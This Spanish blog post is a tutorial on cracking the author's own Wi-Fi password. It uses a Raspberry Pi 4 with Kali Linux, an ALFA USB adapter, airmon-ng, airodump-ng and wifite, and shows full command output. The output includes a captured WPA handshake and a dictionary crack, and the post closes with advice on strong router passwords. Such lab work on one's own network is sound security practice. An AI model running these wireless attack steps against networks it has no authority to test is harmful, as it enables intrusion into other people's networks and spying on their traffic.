Hackear Wifi con RaspBerry Pi
Hoy os voy a mostrar qué necesitamos para descubrir la contraseña de una red Wifi. En mi caso, esto es un laboratorio, voy a “atacar” mi propia Wifi, intentando realizar un pentesting o test de penetración sobre mi propia red. Que nunca viene mal revisar el estado de la misma…
El material que voy a utilizar, es una RaspBerry Pi 4 y un adaptador USB Wifi. Aunque se puede hacer con la Wifi integrada, quería probar un adaptador con más potencia, que por lo que he visto, tampoco hay mucha variedad que funcionen realmente bien en todas las distribuciones.
Para el adaptador USB Wifi, encontré dos modelos:
- ALFA Network AWUS036AC
- TP-LINK Archer T4U Plus AC1300
Sinceramente, me orienté por TP-LINK, porque normalmente sus productos tienen calidad. Estuve unos días intentando hacerlo andar, pero no hubo forma. Y eso que encontré el driver compilado bajo este proyecto. Entiendo que la compilación no está muy actualizada para las nuevas versiones. Aunque la intención era usarlo en Linux, no pude hacerlo funcionar ni en Windows 10 o MacOS a la primera. De todas maneras os dejo el enlace por si tenéis más suerte:
https://github.com/morrownr/8812au-20210629
Al final, devolví el producto, y compré el dispositivo USB Wifi ALFA Network AWUS036AC, y fue conectar y casi funcionar sin yo hacer nada. Lo probé primero en Ubuntu, y luego en Kali Linux, que es lo que quiero utilizar. Utilicé Balena para la MicroSD y la versión de Kali Linux para RaspBerry Pi 4:
- DISTRIBUCION LINUX: https://www.kali.org/docs/arm/raspberry-pi-4/
Una vez que arranca el sistema operativo realizamos las primeras comprobaciones de que todo funciona como debe…
Comprobaciones adaptador USB Wifi en Kali Linux RPi4
Verifico que el adaptador USB es detectado:
1 2 3 4 5 6 |
┌──(kali㉿kali-raspberry-pi)-[~] └─$ lsusb Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 0bda:8812 Realtek Semiconductor Corp. RTL8812AU 802.11a/b/g/n/ac 2T2R DB WLAN Adapter Bus 001 Device 002: ID 2109:3431 VIA Labs, Inc. Hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub |
En mi caso no he tenido que meter drivers, pero para el adaptador ALFA Network AWUS036AC en otras distribuciones como Ubuntu puedes seguir este paso:
1 2 3 4 5 6 7 |
sudo apt update sudo apt install dkms sudo apt install rtl8812au-dkms o sudo apt install realtek-rtl88xxau-dkms |
Siguiendo con las comprobaciones, se han generado dos interfaces para la Wifi, uno para la integrada y otro para el USB:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
┌──(kali㉿kali-raspberry-pi)-[~] └─$ iwconfig wlan0 unassociated ESSID:"" Nickname:"<WIFI@REALTEK>" Mode:Managed Frequency=2.412 GHz Access Point: Not-Associated Sensitivity:0/0 Retry:off RTS thr:off Fragment thr:off Power Management:off Link Quality:0 Signal level:0 Noise level:0 Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0 lo no wireless extensions. wlan1 IEEE 802.11 ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=31 dBm Retry short limit:7 RTS thr:off Fragment thr:off Power Management:on eth0 no wireless extensions. |
Para saber qué dispositivo está asociado a cada interfaz usaremos el comando:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
┌──(kali㉿kali-raspberry-pi)-[~] └─$ sudo lshw -C network *-interface:0 description: Wireless interface product: 43430 vendor: Broadcom physical id: 1 bus info: mmc@1:0001:1 logical name: mmc1:0001:1 logical name: wlan1 serial: 12:35:0c:6e:ad:83 capabilities: ethernet physical wireless configuration: broadcast=yes driver=brcmfmac driverversion=7.45.154 firmware=01-4fbe0b04 multicast=yes wireless=IEEE 802.11 *-network:0 description: Wireless interface physical id: 4 bus info: usb@1:1.2 logical name: wlan0 serial: ea:dc:49:fe:ba:dc capabilities: ethernet physical wireless configuration: broadcast=yes driver=rtl88XXau multicast=yes wireless=unassociated *-network:1 description: Ethernet interface physical id: 5 logical name: eth0 serial: e4:5f:01:83:cc:37 size: 1Gbit/s capacity: 1Gbit/s capabilities: ethernet physical tp mii 10bt 10bt-fd 100bt 100bt-fd 1000bt 1000bt-fd autonegotiation configuration: autonegotiation=on broadcast=yes driver=bcmgenet driverversion=v2.0 duplex=full ip=192.168.2.166 link=yes multicast=yes port=MII speed=1Gbit/s |
Como podéis ver, el interface wlan0 es el que lleva el driver rt188XXau y el que corresponde al dispositivo wifi USB ALFA.
Reviso el estado:
1 2 3 4 5 6 7 8 9 |
┌──(kali㉿kali-raspberry-pi)-[~] └─$ nmcli dev status DEVICE TYPE STATE CONNECTION wlan0 wifi disconnected -- wlan1 wifi disconnected -- p2p-dev-wlan0 wifi-p2p disconnected -- p2p-dev-wlan1 wifi-p2p disconnected -- eth0 ethernet unmanaged -- lo loopback unmanaged -- |
Revisamos qué detecta el interface, así verificamos que funciona sin estar conectado:
1 2 3 4 5 6 7 8 9 10 |
┌──(kali㉿kali-raspberry-pi)-[~] └─$ nmcli dev wifi list ifname wlan0 IN-USE BSSID SSID MODE CHAN RATE SIGNAL BARS SECURITY 40:B0:34:BC:EC:92 DIRECT-91-HP ENVY 5540 series Infra 13 65 Mbit/s 90 ▂▄▆█ WPA2 BC:30:D9:16:81:6C MiFibra-816A Infra 1 130 Mbit/s 87 ▂▄▆█ WPA2 00:11:32:76:48:A3 MORDOR Infra 132 540 Mbit/s 47 ▂▄__ WPA2 16:11:32:76:48:A3 -- Infra 132 540 Mbit/s 47 ▂▄__ WPA2 BC:30:D9:16:81:6D -- Infra 104 540 Mbit/s 25 ▂___ WPA2 6A:30:D9:16:81:6E MiFibra-816A Infra 104 540 Mbit/s 25 ▂___ WPA2 16:11:32:D7:95:41 -- Infra 132 270 Mbit/s 14 ▂___ WPA2 |
Sabiendo esto, nos ponemos manos a la obra.
Descubrir contraseña en red Wifi
Lo primero que haremos es apagar cualquier cosa que esté utilizando la interfaz:
1 2 3 4 5 6 7 8 |
┌──(kali㉿kali-raspberry-pi)-[~] └─$ sudo airmon-ng check kill Killing these processes: PID Name 377 dhclient 527 wpa_supplicant |
Una vez comprobado, necesitaremos ponerla en modo “monitor”, lo que nos permitirá escuchar:
1 2 3 4 5 6 7 8 9 |
┌──(kali㉿kali-raspberry-pi)-[~] └─$ sudo airmon-ng start wlan0 PHY Interface Driver Chipset phy0 wlan0 88XXau Realtek Semiconductor Corp. RTL8812AU 802.11a/b/g/n/ac 2T2R DB WLAN Adapter (monitor mode enabled) phy1 wlan1 brcmfmac Broadcom 43430 |
Nos ponemos a “escuchar” que hay en el aire y qué detecta nuestro dispositivo:
1 2 |
┌──(kali㉿kali-raspberry-pi)-[~] └─$ sudo airodump-ng wlan0 |
Lo dejamos revisando unos cuantos minutos, y cuando sepamos cual va a ser nuestro objetivo lo paramos:
Y para el ataque usaremos wifite, que viene integrado en Kali Linux (igual solicita instalación de herramientas adicionales como pyrit, hcxdumptool y hcxpcapngtool):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
┌──(kali㉿kali-raspberry-pi)-[~] └─$ sudo wifite . . .´ · . . · `. wifite2 2.5.8 : : : (¯) : : : a wireless auditor by derv82 `. · ` /¯\ ´ · .´ maintained by kimocoder ` /¯¯¯\ ´ https://github.com/kimocoder/wifite2 [!] Warning: Recommended app pyrit was not found. install @ https://github.com/JPaulMora/Pyrit/wiki [+] Using wlan0 already in monitor mode NUM ESSID CH ENCR POWER WPS? CLIENT --- ------------------------- --- ----- ----- ---- ------ 1 (00:11:32:76:48:A2) 13 WPA 99db no 2 2 DIRECT-91-HP ENVY 554... 13 WPA-P 62db lock 3 MiFibra-816A 1 WPA-P 51db yes [+] select target(s) (1-3) separated by commas, dashes or all: 1 [+] (1/1) Starting attacks against 00:11:32:76:48:A2 (ESSID unknown) [+] unknown (99db) PMKID CAPTURE: Failed to capture PMKID [+] unknown (99db) WPA Handshake capture: Discovered new client: 44:01:BB:0A:82:0F [+] unknown (99db) WPA Handshake capture: Discovered new client: 7C:F6:66:F7:4D:41 [+] unknown (38db) WPA Handshake capture: Discovered new client: 40:B0:34:BC:EC:91 [+] unknown (37db) WPA Handshake capture: Discovered new client: E8:AB:FA:8A:C0:BB [+] MORDOR (47db) WPA Handshake capture: Discovered new client: 7A:31:80:86:9D:EA [+] MORDOR (37db) WPA Handshake capture: Discovered new client: F0:18:98:21:DA:8D [+] MORDOR (34db) WPA Handshake capture: Captured handshake [+] saving copy of handshake to hs/handshake_MORDOR_00-11-32-76-48-A2_2022-03-19T10-49-01.cap saved [+] analysis of captured handshake file: [+] tshark: .cap file contains a valid handshake for 00:11:32:76:48:a2 [!] aircrack: .cap file does not contain a valid handshake [+] Cracking WPA Handshake: Running aircrack-ng with wordlist-probable.txt wordlist [+] Cracking WPA Handshake: 99.99% ETA: 0s @ 533.3kps (current key: 03111995) [+] Cracked WPA Handshake PSK: XXXXXXXXXX [+] Access Point Name: MORDOR [+] Access Point BSSID: 00:11:32:76:48:A2 [+] Encryption: WPA [+] Handshake File: hs/handshake_MORDOR_00-11-32-76-48-A2_2022-03-19T10-49-01.cap [+] PSK (password): XXXXXXXXXX [+] saved crack result to cracked.json (1 total) [+] Finished attacking 1 target(s), exiting |
Lo que intenta en este momento es encontrar el diálogo entre clientes para capturar la contraseña…según la dificultad y el momento en que se encuentre de la captura, si la contraseña no es muy complicada (lo hice para la prueba), será detectada. No le costó más de unos minutos extraerla, lo veis en el campo XXXXXXXXXX
Podéis agregar listado de contraseñas adicionales al diccionario que ya tiene la distribución, que eso seguro ayuda…buscar en google “password dictionary list”
1 |
sudo wifite –dict wordlist.txt –kill |
Con esto te das cuenta, que con muy poco esfuerzo, alguien puede conocer tu contraseña y estar en tu red.
Te ha gustado la entrada SGUENOS EN TWITTER O INVITANOS A UN CAFE?
Por eso siempre digo a la gente de poner contraseñas más largas en los routers con números, letras mayúsculas y minúsculas, no dejar las que vienen por defecto. La gente no se da cuenta de lo importante que son las contraseñas de los routers, si acceden a tu red podrían espiar el trafico, hacer ataques Man in The Middle (MitM) o incluso hackear el firmware del router.